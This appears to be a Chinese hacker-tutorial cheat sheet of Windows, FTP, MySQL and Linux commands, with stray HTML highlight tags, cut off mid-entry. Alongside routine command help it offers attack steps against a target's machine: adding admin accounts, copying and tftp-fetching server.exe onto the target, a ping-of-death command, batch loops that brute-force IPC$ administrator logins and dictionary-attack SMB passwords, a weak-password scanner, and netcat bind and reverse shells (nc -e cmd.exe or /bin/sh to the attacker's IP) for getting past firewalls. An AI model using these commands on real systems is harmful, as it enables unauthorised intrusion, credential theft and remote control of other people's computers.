\u002Fadd 建立用户   \nnet user guest \u002Factive:yes 激活guest用户   \nnet user 查看有哪些用户   \nnet user 帐户名 查看帐户的属性   \nnet localgroup administrators 用户名 \u002Fadd 把“用户”添加到管理员中使其具有管理员权限   \nnet start 查看开启了哪些服务   \nnet start 服务名 开启服务;(如:net start telnet, net start schedule)   \nnet stop 服务名 停止某服务   \nnet time 目标ip 查看对方时间   \nnet time 目标ip \u002Fset 设置本地计算机时间与“目标IP”主机的时间同步,加上参数\u002Fyes可取消确认信息   \nnet view 查看本地局域网内开启了哪些共享   \nnet view ip 查看对方局域网内开启了哪些共享   \nnet config 显示系统网络设置   \nnet logoff 断开连接的共享   \nnet pause 服务名 暂停某服务   \nnet send ip \"文本信息\" 向对方发信息   \nnet ver 局域网内正在使用的网络连接类型和信息   \nnet share 查看本地开启的共享   \nnet share ipc$ 开启ipc$共享   \nnet share ipc$ \u002Fdel \u003Cem\u003E删除\u003C\u002Fem\u003Eipc$共享   \nnet share c$ \u002Fdel \u003Cem\u003E删除\u003C\u002Fem\u003EC:共享   \nnet user guest 12345 用guest用户登陆后用将密码改为12345   \nnet password 密码 更改系统登陆密码   \nnetstat -a 查看开启了哪些端口,常用netstat -an   \nnetstat -n 查看端口的网络连接情况,常用netstat -an   \nnetstat -v 查看正在进行的工作   \nnetstat -p 协议名 例:netstat -p tcq\u002Fip 查看某协议使用情况   \nnetstat -s 查看正在使用的所有协议使用情况   \nnbtstat -A ip 对方136到139其中\u003Cem\u003E一个\u003C\u002Fem\u003E端口开了的话,就可查看对方最近登陆的用户名   tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。   ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。   \nping -t -l 65550 ip 死亡之ping(发送大于64K的\u003Cem\u003E文件\u003C\u002Fem\u003E并一直ping就成了死亡之ping)   ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“\u002Fall”显示全部配置信息   \ntlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support\u002Ftools\u003Cem\u003E\u003Cem\u003E文件\u003C\u002Fem\u003E夹\u003C\u002Fem\u003E内)   \nkill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support\u002Ftools\u003Cem\u003E\u003Cem\u003E文件\u003C\u002Fem\u003E夹\u003C\u002Fem\u003E内)   \ndel -F \u003Cem\u003E文件\u003C\u002Fem\u003E名 加-F参数后就可\u003Cem\u003E删除\u003C\u002Fem\u003E只读\u003Cem\u003E文件\u003C\u002Fem\u003E,\u002FAR、\u002FAH、\u002FAS、\u002FAA分别表示\u003Cem\u003E删除\u003C\u002Fem\u003E只读、隐藏、系统、存档\u003Cem\u003E文件\u003C\u002Fem\u003E,\u002FA-R、\u002FA-H、\u002FA-S、\u002FA-A表示\u003Cem\u003E删除\u003C\u002Fem\u003E除只读、隐藏、系统、存档以外的\u003Cem\u003E文件\u003C\u002Fem\u003E。例如“DEL\u002FAR *.*”表示\u003Cem\u003E删除\u003C\u002Fem\u003E当前目录下所有只读\u003Cem\u003E文件\u003C\u002Fem\u003E,“DEL\u002FA-S *.*”表示\u003Cem\u003E删除\u003C\u002Fem\u003E当前目录下除系统\u003Cem\u003E文件\u003C\u002Fem\u003E以外的所有\u003Cem\u003E文件\u003C\u002Fem\u003E\n   del \u002FS \u002FQ 目录 或用:rmdir \u002Fs \u002FQ 目录 \u002FS\u003Cem\u003E删除\u003C\u002Fem\u003E目录及目录下的所有子目录和\u003Cem\u003E文件\u003C\u002Fem\u003E。同时使用参数\u002FQ 可取消\u003Cem\u003E删除\u003C\u002Fem\u003E操作时的系统确认就直接\u003Cem\u003E删除\u003C\u002Fem\u003E。(二个命令作用相同)   \n move 盘符路径要移动的\u003Cem\u003E文件\u003C\u002Fem\u003E名 存放移动\u003Cem\u003E文件\u003C\u002Fem\u003E的路径移动后\u003Cem\u003E文件\u003C\u002Fem\u003E名 移动\u003Cem\u003E文件\u003C\u002Fem\u003E,用参数\u002Fy将取消确认移动目录存在相同\u003Cem\u003E文件\u003C\u002Fem\u003E的提示就直接覆盖   \nfc one.txt two.txt \u003E 3st.txt 对比二个\u003Cem\u003E文件\u003C\u002Fem\u003E并把不同之处输出到3st.txt\u003Cem\u003E文件\u003C\u002Fem\u003E中,\"\u003E \"和\"\u003E \u003E\" 是重定向命令   \nat id号 开启已注册的某个计划任务   \nat \u002Fdelete 停止所有计划任务,用参数\u002Fyes则不需要确认就直接停止   \nat id号 \u002Fdelete 停止某个已注册的计划任务   at 查看所有的计划任务   \nat ip time 程序名(或\u003Cem\u003E一个\u003C\u002Fem\u003E命令) \u002Fr 在某时间运行对方某程序并重新启动计算机   finger username @host 查看最近有哪些用户登陆   \ntelnet ip 端口 远和登陆服务器,默认端口为23   \nopen ip 连接到IP(属telnet登陆后的命令)   \ntelnet 在本机上直接键入telnet 将进入本机的telnet   \ncopy 路径\u003Cem\u003E文件\u003C\u002Fem\u003E名1 路径\u003Cem\u003E文件\u003C\u002Fem\u003E名2 \u002Fy 复制\u003Cem\u003E文件\u003C\u002Fem\u003E1到指定的目录为\u003Cem\u003E文件\u003C\u002Fem\u003E2,用参数\u002Fy就同时取消确认你要改写一份现存目录\u003Cem\u003E文件\u003C\u002Fem\u003E   \ncopy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下   \ncopy 1st.jpg\u002Fb+2st.txt\u002Fa 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的\u003Cem\u003E文件\u003C\u002Fem\u003E,注:2st.txt\u003Cem\u003E文件\u003C\u002Fem\u003E头要空三排,参数:\u002Fb指二进制\u003Cem\u003E文件\u003C\u002Fem\u003E,\u002Fa指ASCLL格式\u003Cem\u003E文件\u003C\u002Fem\u003E   \ncopy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe\u003Cem\u003E文件\u003C\u002Fem\u003E(所有\u003Cem\u003E文件\u003C\u002Fem\u003E)至本地C:   \nxcopy 要复制的\u003Cem\u003E文件\u003C\u002Fem\u003E或目录树 目标地址目录名 复制\u003Cem\u003E文件\u003C\u002Fem\u003E和目录树,用参数\u002FY将不提示覆盖相同\u003Cem\u003E文件\u003C\u002Fem\u003E\n   用参数\u002Fe才可连目录下的子目录一起复制到目标地址下。   \ntftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exec:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe\u003Cem\u003E文件\u003C\u002Fem\u003E时用,如不加-i 则以ASCII模式(传送文本\u003Cem\u003E文件\u003C\u002Fem\u003E模式)进行传送   \ntftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机   \nftp ip 端口 用于上传\u003Cem\u003E文件\u003C\u002Fem\u003E至服务器或进行\u003Cem\u003E文件\u003C\u002Fem\u003E操作,默认端口为21。bin指用二进制方式传送(可执行\u003Cem\u003E文件\u003C\u002Fem\u003E进);默认为ASCII格式传送(文本\u003Cem\u003E文件\u003C\u002Fem\u003E时)   \nroute print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface   \narp 查看和处理ARP缓存,ARP是名字解析的意思,负责把\u003Cem\u003E一个\u003C\u002Fem\u003EIP解析成\u003Cem\u003E一个\u003C\u002Fem\u003E物理性的MAC地址。arp -a将显示出全部信息   \nstart 程序名或命令 \u002Fmax 或\u002Fmin 新开\u003Cem\u003E一个\u003C\u002Fem\u003E新窗口并最大化(最小化)运行某程序或命令   \nmem 查看cpu使用情况   \nattrib \u003Cem\u003E文件\u003C\u002Fem\u003E名(目录名) 查看某\u003Cem\u003E文件\u003C\u002Fem\u003E(目录)的属性   \nattrib \u003Cem\u003E文件\u003C\u002Fem\u003E名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某\u003Cem\u003E文件\u003C\u002Fem\u003E的 存档,只读,系统,隐藏 属性;用+则是添加为某属性   \ndir 查看\u003Cem\u003E文件\u003C\u002Fem\u003E,参数:\u002FQ显示\u003Cem\u003E文件\u003C\u002Fem\u003E及目录属系统哪个用户,\u002FT:C显示\u003Cem\u003E文件\u003C\u002Fem\u003E创建时间,\u002FT:A显示\u003Cem\u003E文件\u003C\u002Fem\u003E上次被访问时间,\u002FT:W上次被修改时间   \ndate \u002Ft 、 time \u002Ft 使用此参数即“DATE\u002FT”、“TIME\u002FT”将只显示当前日期和时间,而不必输入新日期和时间   \nset 指定环境变量名称=要指派给变量的字符 设置环境变量   \nset 显示当前所有的环境变量   \nset p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量   \npause 暂停批处理程序,并显示出:请按任意键继续....   \nif 在批处理程序中执行条件处理(更多说明见if命令及变量)   \ngoto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)   \ncall 路径批处理\u003Cem\u003E文件\u003C\u002Fem\u003E名 从批处理程序中调用另\u003Cem\u003E一个\u003C\u002Fem\u003E批处理程序 (更多说明见call \u002F?)   for 对一组\u003Cem\u003E文件\u003C\u002Fem\u003E中的每\u003Cem\u003E一个\u003C\u002Fem\u003E\u003Cem\u003E文件\u003C\u002Fem\u003E执行某个特定命令(更多说明见for命令及变量)   \necho on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置   \necho 信息 在屏幕上显示出信息   \necho 信息 \u003E\u003E pass.txt 将\"信息\"保存到pass.txt\u003Cem\u003E文件\u003C\u002Fem\u003E中   \nfindstr \"Hello\" aa.txt 在aa.txt\u003Cem\u003E文件\u003C\u002Fem\u003E中寻找字符串hello   \nfind \u003Cem\u003E文件\u003C\u002Fem\u003E名 查找某\u003Cem\u003E文件\u003C\u002Fem\u003E   \ntitle 标题名字 更改CMD窗口标题名字   \ncolor 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白   \nprompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )   \nver 在DOS窗口下显示版本信息   \nwinver 弹出\u003Cem\u003E一个\u003C\u002Fem\u003E窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)   \nformat 盘符 \u002FFS:类型 格式化磁盘,类型:FAT、FAT32、NTFS,例:Format D: \u002FFS:NTFS   \nmd 目录名 创建目录   \nreplace 源\u003Cem\u003E文件\u003C\u002Fem\u003E 要替换\u003Cem\u003E文件\u003C\u002Fem\u003E的目录 替换\u003Cem\u003E文件\u003C\u002Fem\u003E   \nren 原\u003Cem\u003E文件\u003C\u002Fem\u003E名 新\u003Cem\u003E文件\u003C\u002Fem\u003E名 重命名\u003Cem\u003E文件\u003C\u002Fem\u003E名   \ntree 以树形结构显示出目录,用参数-f 将列出第个\u003Cem\u003E\u003Cem\u003E文件\u003C\u002Fem\u003E夹\u003C\u002Fem\u003E中\u003Cem\u003E文件\u003C\u002Fem\u003E名称   \ntype \u003Cem\u003E文件\u003C\u002Fem\u003E名 显示文本\u003Cem\u003E文件\u003C\u002Fem\u003E的内容   \nmore \u003Cem\u003E文件\u003C\u002Fem\u003E名 逐屏显示输出\u003Cem\u003E文件\u003C\u002Fem\u003E   \ndoskey 要锁定的命令=字符   \ndoskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=   \ntaskmgr 调出任务管理器   \nchkdsk \u002FF D: 检查磁盘D并显示状态报告;加参数\u002Ff并修复磁盘上的错误   \ntlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口   \nexit 退出cmd.exe程序或目前,用参数\u002FB则是退出当前批处理脚本而不是cmd.exe   path 路径可执行\u003Cem\u003E文件\u003C\u002Fem\u003E的\u003Cem\u003E文件\u003C\u002Fem\u003E名 为可执行\u003Cem\u003E文件\u003C\u002Fem\u003E设置\u003Cem\u003E一个\u003C\u002Fem\u003E路径。   \ncmd 启动\u003Cem\u003E一个\u003C\u002Fem\u003Ewin2K命令解释窗口。参数:\u002Feff、\u002Fen 关闭、开启命令扩展;更我详细说明见cmd \u002F?   \nregedit \u002Fs 注册表\u003Cem\u003E文件\u003C\u002Fem\u003E名 导入注册表;参数\u002FS指安静模式导入,无任何提示;   \nregedit \u002Fe 注册表\u003Cem\u003E文件\u003C\u002Fem\u003E名 导出注册表   \ncacls \u003Cem\u003E文件\u003C\u002Fem\u003E名 参数 显示或修改\u003Cem\u003E文件\u003C\u002Fem\u003E访问控制列表(ACL)——针对NTFS格式时。参数:\u002FD 用户名:设定拒绝某用户访问;\u002FP 用户名:perm 替换指定用户的访问权限;\u002FG 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt \u002FD pub 设定d: est.txt拒绝pub用户访问。   \ncacls \u003Cem\u003E文件\u003C\u002Fem\u003E名 查看\u003Cem\u003E文件\u003C\u002Fem\u003E的访问用户权限列表   \nREM 文本内容 在批处理\u003Cem\u003E文件\u003C\u002Fem\u003E中添加注解   \nnetsh 查看或更改本地网络配置情况   \nIIS服务命令   \niisreset \u002Freboot 重启win2k计算机(但有提示系统将重启信息出现)   \niisreset \u002Fstart或stop 启动(停止)所有Internet服务   \niisreset \u002Frestart 停止然后重新启动所有Internet服务   \niisreset \u002Fstatus 显示所有Internet服务状态   \niisreset \u002Fenable或disable 在本地系统上启用(禁用)Internet服务的重新启动   \niisreset \u002Frebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机   iisreset \u002Fnoforce 若无法停止Internet服务,将不会强制终止Internet服务   \niisreset \u002Ftimeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定\u002Frebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。   \nFTP 命令:(后面有详细说明内容)   \nftp的命令行格式为: \n  ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。   \n-d 使用调试方式。   \n-n 限制ftp的自动登录,即不使用.netrc\u003Cem\u003E文件\u003C\u002Fem\u003E。   \n-g 取消全局\u003Cem\u003E文件\u003C\u002Fem\u003E名。   \nhelp [命令] 或 ?[命令] 查看命令说明   \nbye 或 quit 终止主机FTP进程,并退出FTP管理方式.   \npwd 列出当前远端主机目录   \nput 或 send 本地\u003Cem\u003E文件\u003C\u002Fem\u003E名 [上传到主机上的\u003Cem\u003E文件\u003C\u002Fem\u003E名] 将本地\u003Cem\u003E一个\u003C\u002Fem\u003E\u003Cem\u003E文件\u003C\u002Fem\u003E传送至远端主机中   \nget 或 recv [远程主机\u003Cem\u003E文件\u003C\u002Fem\u003E名] [下载到本地后的\u003Cem\u003E文件\u003C\u002Fem\u003E名] 从远端主机中传送至本地主机中   \nmget [remote-files] 从远端主机接收一批\u003Cem\u003E文件\u003C\u002Fem\u003E至本地主机   \nmput local-files 将本地主机中一批\u003Cem\u003E文件\u003C\u002Fem\u003E传送至远端主机   \ndir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的\u003Cem\u003E文件\u003C\u002Fem\u003E.如果有本地\u003Cem\u003E文件\u003C\u002Fem\u003E,就将结果写至本地\u003Cem\u003E文件\u003C\u002Fem\u003E   \nascii 设定以ASCII方式传送\u003Cem\u003E文件\u003C\u002Fem\u003E(缺省值)   \nbin 或 image 设定以二进制方式传送\u003Cem\u003E文件\u003C\u002Fem\u003E   \nbell 每完成一次\u003Cem\u003E文件\u003C\u002Fem\u003E传送,报警提示   \ncdup 返回上一级目录   \nclose 中断与远程服务器的ftp会话(与open对应)   \nopen host[port] 建立指定ftp服务器连接,可指定连接端口   \ndelete \u003Cem\u003E删除\u003C\u002Fem\u003E远端主机中的\u003Cem\u003E文件\u003C\u002Fem\u003E   \nmdelete [remote-files] \u003Cem\u003E删除\u003C\u002Fem\u003E一批\u003Cem\u003E文件\u003C\u002Fem\u003E   \nmkdir directory-name 在远端主机中建立目录   \nrename [from] [to] 改变远端主机中的\u003Cem\u003E文件\u003C\u002Fem\u003E名   \nrmdir directory-name \u003Cem\u003E删除\u003C\u002Fem\u003E远端主机中的目录   \nstatus 显示当前FTP的状态   \nsystem 显示远端主机系统类型   \nuser user-name [password] [account] 重新以别的用户名登录远端主机   \nopen host [port] 重新建立\u003Cem\u003E一个\u003C\u002Fem\u003E新的连接   \nprompt 交互提示模式   \nmacdef 定义宏命令   \nlcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录   chmod 改变远端主机的\u003Cem\u003E文件\u003C\u002Fem\u003E权限   \ncase 当为ON时,用MGET命令拷贝的\u003Cem\u003E文件\u003C\u002Fem\u003E名到本地机器中,全部转换为小写字母   cd remote-dir 进入远程主机目录   \ncdup 进入远程主机目录的父目录   ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip   #5   \nMYSQL 命令   \nmysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。   (例:mysql -h110.110.110.110 -Uroot -P123456   注:u与root可以不用加空格,其它也一样)   \nexit 退出MYSQL   \nmysqladmin -u用户名 -p旧密码 password 新密码 修改密码   \ngrant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带\u003Cem\u003E一个\u003C\u002Fem\u003E分号作为命令结束符)   show databases; 显示数据库列表。刚开始时才\u003Cem\u003E两个\u003C\u002Fem\u003E数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。   use mysql;   \nshow tables; 显示库中的数据表   \ndescribe 表名; 显示数据表的结构   \ncreate database 库名; 建库   use 库名;   \ncreate table 表名 (字段设定列表); 建表   \ndrop database 库名;   \ndrop table 表名; 删库和删表   \ndelete from 表名; 将表中记录清空   \nselect * from 表名; 显示表中的记录   \nmysqldump --opt school\u003Eschool.bbb 备份数据库:(命令在DOS的mysqlin目录下执行);注释:将数据库school备份到school.bbb\u003Cem\u003E文件\u003C\u002Fem\u003E,school.bbb是\u003Cem\u003E一个\u003C\u002Fem\u003E文本\u003Cem\u003E文件\u003C\u002Fem\u003E,\u003Cem\u003E文件\u003C\u002Fem\u003E名任取,打开看看你会有新发现。   \nwin2003系统下新增命令(实用部份):   \nshutdown \u002F参数 关闭或重启本地或远程主机。   参数说明:\u002FS 关闭主机,\u002FR 重启主机, \u002FT 数字 设定延时的时间,范围0~180秒之间, \u002FA取消开机,\u002FM \u002F\u002FIP 指定的远程主机。   例:shutdown \u002Fr \u002Ft 0 立即重启本地主机(无延时)   taskill \u002F参数 进程名或进程的pid 终止\u003Cem\u003E一个\u003C\u002Fem\u003E或多个任务和进程。   参数说明:\u002FPID 要终止进程的pid,可用tasklist命令获得各进程的pid,\u002FIM 要终止的进程的进程名,\u002FF 强制终止进程,\u002FT 终止指定的进程及他所启动的子进程。   \ntasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。   参数说明:\u002FM 列出当前进程加载的dll\u003Cem\u003E文件\u003C\u002Fem\u003E,\u002FSVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。   \nLinux系统下基本命令 注:要区分大小写   \n uname 显示版本信息(同win2K的 ver)   \n dir 显示当前目录\u003Cem\u003E文件\u003C\u002Fem\u003E,ls -al 显示包括隐藏\u003Cem\u003E文件\u003C\u002Fem\u003E(同win2K的 dir)\n   pwd 查询当前所在的目录位置\n   cd cd ..回到上一层目录,注意cd 与..之间有空格。\n cd \u002F返回到根目录。\n   cat \u003Cem\u003E文件\u003C\u002Fem\u003E名 查看\u003Cem\u003E文件\u003C\u002Fem\u003E内容\n   cat \u003Eabc.txt 往abc.txt\u003Cem\u003E文件\u003C\u002Fem\u003E中写上内容。\n   more \u003Cem\u003E文件\u003C\u002Fem\u003E名 以一页一页的方式显示\u003Cem\u003E一个\u003C\u002Fem\u003E文本\u003Cem\u003E文件\u003C\u002Fem\u003E。\n   cp 复制\u003Cem\u003E文件\u003C\u002Fem\u003E \n   mv 移动\u003Cem\u003E文件\u003C\u002Fem\u003E\nrm \u003Cem\u003E文件\u003C\u002Fem\u003E名 \u003Cem\u003E删除\u003C\u002Fem\u003E\u003Cem\u003E文件\u003C\u002Fem\u003E,rm -a 目录名\u003Cem\u003E删除\u003C\u002Fem\u003E目录及子目录   \nmkdir 目录名 建立目录   \nrmdir \u003Cem\u003E删除\u003C\u002Fem\u003E子目录,目录内没有文档。   \nchmod 设定档案或目录的存取权限   \ngrep 在档案中查找字符串   \ndiff 档案\u003Cem\u003E文件\u003C\u002Fem\u003E比较   \nfind 档案搜寻   \ndate 现在的日期、时间   \nwho 查询目前和你使用同一台机器的人以及Login时间地点   \nw 查询目前上机者的详细资料   \nwhoami 查看自己的帐号名称   \ngroups 查看某人的Group   \npasswd 更改密码   \nhistory 查看自己下过的命令   \nps 显示进程状态   \nkill 停止某进程   \ngcc 黑客通常用它来编译C语言写的\u003Cem\u003E文件\u003C\u002Fem\u003E   \nsu 权限转换为指定使用者   \ntelnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。   \nftp ftp连接上某服务器(同win2K)   \n批处理命令与变量   \n1:for命令及变量 基本格式   \n FOR \u002F参数 %variable IN (set) DO command [command_parameters] %variable:指定\u003Cem\u003E一个\u003C\u002Fem\u003E单一字母可替换的参数,如:%i ,而指定\u003Cem\u003E一个\u003C\u002Fem\u003E变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。   \n 批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理\u003Cem\u003E文件\u003C\u002Fem\u003E名使用,%1默认为使用此批处理时输入的的第\u003Cem\u003E一个\u003C\u002Fem\u003E值,同理:%2—%9指输入的第2-9个值;例:net use ipipc$ pass \u002Fuser:user 中ip为%1,pass为%2,user为%3   \n (set):指定\u003Cem\u003E一个\u003C\u002Fem\u003E或一组\u003Cem\u003E文件\u003C\u002Fem\u003E,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第\u003Cem\u003E一个\u003C\u002Fem\u003E\"1\"指起始值,第二个\"1\"指增长量,第三个\"254\"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }   \n command:指定对第个\u003Cem\u003E文件\u003C\u002Fem\u003E执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开\n   command_parameters:为特定命令指定参数或命令行开关\n   IN (set):指在(set)中取值;DO command :指执行command \n参数:\u002FL 指用增量形式{ (set)为增量形式时 };\u002FF 指从\u003Cem\u003E文件\u003C\u002Fem\u003E中不断取值,直到取完为止{ (set)为\u003Cem\u003E文件\u003C\u002Fem\u003E时,如(d:pass.txt)时 }。   \n用法举例:   @echo off   echo 用法格式:test.\u003Cem\u003Ebat\u003C\u002Fem\u003E *.*.* \u003E test.txt   for \u002FL %%G in (1 1 254) do echo %1.%%G \u003E\u003Etest.txt & net use \\%1.%%G \u002Fuser:administrator | find \"命令成功完成\" \u003E\u003Etest.txt   \n存为test.\u003Cem\u003Ebat\u003C\u002Fem\u003E 说明:对指定的\u003Cem\u003E一个\u003C\u002Fem\u003EC类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。\n   \u002FL指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有\"命令成功完成\"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。\n   @echo off   echo 用法格式:ok.\u003Cem\u003Ebat\u003C\u002Fem\u003E ip   FOR \u002FF %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200   存为:ok.exe 说明:输入\u003Cem\u003E一个\u003C\u002Fem\u003EIP后,用字典\u003Cem\u003E文件\u003C\u002Fem\u003Ed:pass.dic来暴解d:user.dic中的用户密码,直到\u003Cem\u003E文件\u003C\u002Fem\u003E中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。   \n七:   2:if命令及变量 基本格式\n   IF [not] errorlevel 数字 命令\u003Cem\u003E语句\u003C\u002Fem\u003E 如果程序运行最后返回\u003Cem\u003E一个\u003C\u002Fem\u003E等于或大于指定数字的退出编码,指定条件为“真”。\n   例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。\n   0 指发现并成功执行(真);1 指没有发现、没执行(假)。\n   IF [not] 字符串1==字符串2 命令\u003Cem\u003E语句\u003C\u002Fem\u003E 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。\n   例:“if \"%2%\"==\"4\" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加\" \")\n   IF [not] exist \u003Cem\u003E文件\u003C\u002Fem\u003E名 命令\u003Cem\u003E语句\u003C\u002Fem\u003E 如果指定的\u003Cem\u003E文件\u003C\u002Fem\u003E名存在,就执行后面的命令。\n   例:“if not nc.exe goto end”指:如果没有发现nc.exe\u003Cem\u003E文件\u003C\u002Fem\u003E就跳到\":end\"标签处。\n   IF [not] errorlevel 数字 命令\u003Cem\u003E语句\u003C\u002Fem\u003E else 命令\u003Cem\u003E语句\u003C\u002Fem\u003E或 IF [not] 字符串1==字符串2 命令\u003Cem\u003E语句\u003C\u002Fem\u003E else 命令\u003Cem\u003E语句\u003C\u002Fem\u003E或 IF [not] exist \u003Cem\u003E文件\u003C\u002Fem\u003E名 命令\u003Cem\u003E语句\u003C\u002Fem\u003E else 命令\u003Cem\u003E语句\u003C\u002Fem\u003E 加上:else 命令\u003Cem\u003E语句\u003C\u002Fem\u003E后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。当有del命令时需把del命令全部内容用括起来,因为del命令要单独一行时才能执行,用上后就等于是单独一行了;例如:“if exist test.txt. else echo test.txt.missing ”,注意命令中的“.”\n   系统外部命令\n   注:系统外部命令(均需下载相关工具)\n   瑞士军刀:nc.exe   \n参数说明:\n   -h 查看帮助信息\n   -d 后台模式\n   -e prog程序重定向,一但连接就执行[危险]\n   -i secs延时的间隔\n   -l 监听模式,用于入站连接\n   -L 监听模式,连接天闭后仍然继续监听,直到CTR+C\n   -n IP地址,不能用域名\n   -o film记录16进制的传输\n   -p[空格]端口 本地端口号\n   -r 随机本地及远程端口\n   -t 使用Telnet交互方式\n   -u UDP模式\n   -v 详细输出,用-vv将更详细\n   -w数字 timeout延时间隔\n   -z 将输入,输出关掉(用于扫锚时)\n   基本用法:\n   nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口\n   nc -l -p 80 开启本机的TCP 80端口并监听\n   nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口\n   nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口\n   nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口\n   高级用法:\n   nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止\n   nc -L -p 80 \u003E c:log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:log.txt\n   nc -L -p 80 \u003C c:honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送\u003Cem\u003E文件\u003C\u002Fem\u003E作用\n   type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送\u003Cem\u003E文件\u003C\u002Fem\u003E作用\n   本机上用:\nnc -l -p 本机端口\n   在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K\n   nc -e \u002Fbin\u002Fsh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙   本机上用:nc -d -l -p 本机端口 存放\u003Cem\u003E文件\u003C\u002Fem\u003E的路径及名称 传送\u003Cem\u003E文件\u003C\u002Fem\u003E到对方主机\n   备 注:\n   | 管道命令\n    重定向命令。“\u003C;”,例如:tlntadmn \u003E d:log.txt 意思是:后台执行dir,并把结果存在d:log.txt中\n   \u003E与\u003E\u003E的区别 \"\u003E\"指:覆盖;\"\u003E\u003E\"指:保存到(添加到)。\n   如:@dir c:winnt \u003E\u003E d:log.txt和@dir c:winnt \u003E d:log.txt二个命令分别执行二次比较看:用\u003E\u003E的则是把二次的结果都保存了,而用:\u003E则只有一次的结果,是因为第二次的结果把第一次的覆盖了。\n   八:\n   扫描工具:xscan.exe\n   基本格式\n   xscan -host [-] [其他选项] 扫锚\"起始IP到终止IP\"段的所有主机信息\n   xscan -file [其他选项] 扫锚\"主机IP列表\u003Cem\u003E文件\u003C\u002Fem\u003E名\"中的所有主机信息\n   检测项目\n   -active 检测主机是否存活\n   -os 检测远程操作系统类型(通过NETBIOS和SNMP协议)\n   -port 检测常用服务的端口状态\n   -ftp 检测FTP弱口令\n   -pub 检测FTP服务匿名用户写权限\n   -pop3 检测POP3-Server弱口令\n   -smtp 检测SMTP-Server漏洞\n   -sql 检测SQL-Server弱口令\n   -smb 检测NT-Server弱口令\n   -iis 检测IIS编码\u002F解码漏洞\n   -cgi 检测CGI漏洞\n   -nasl 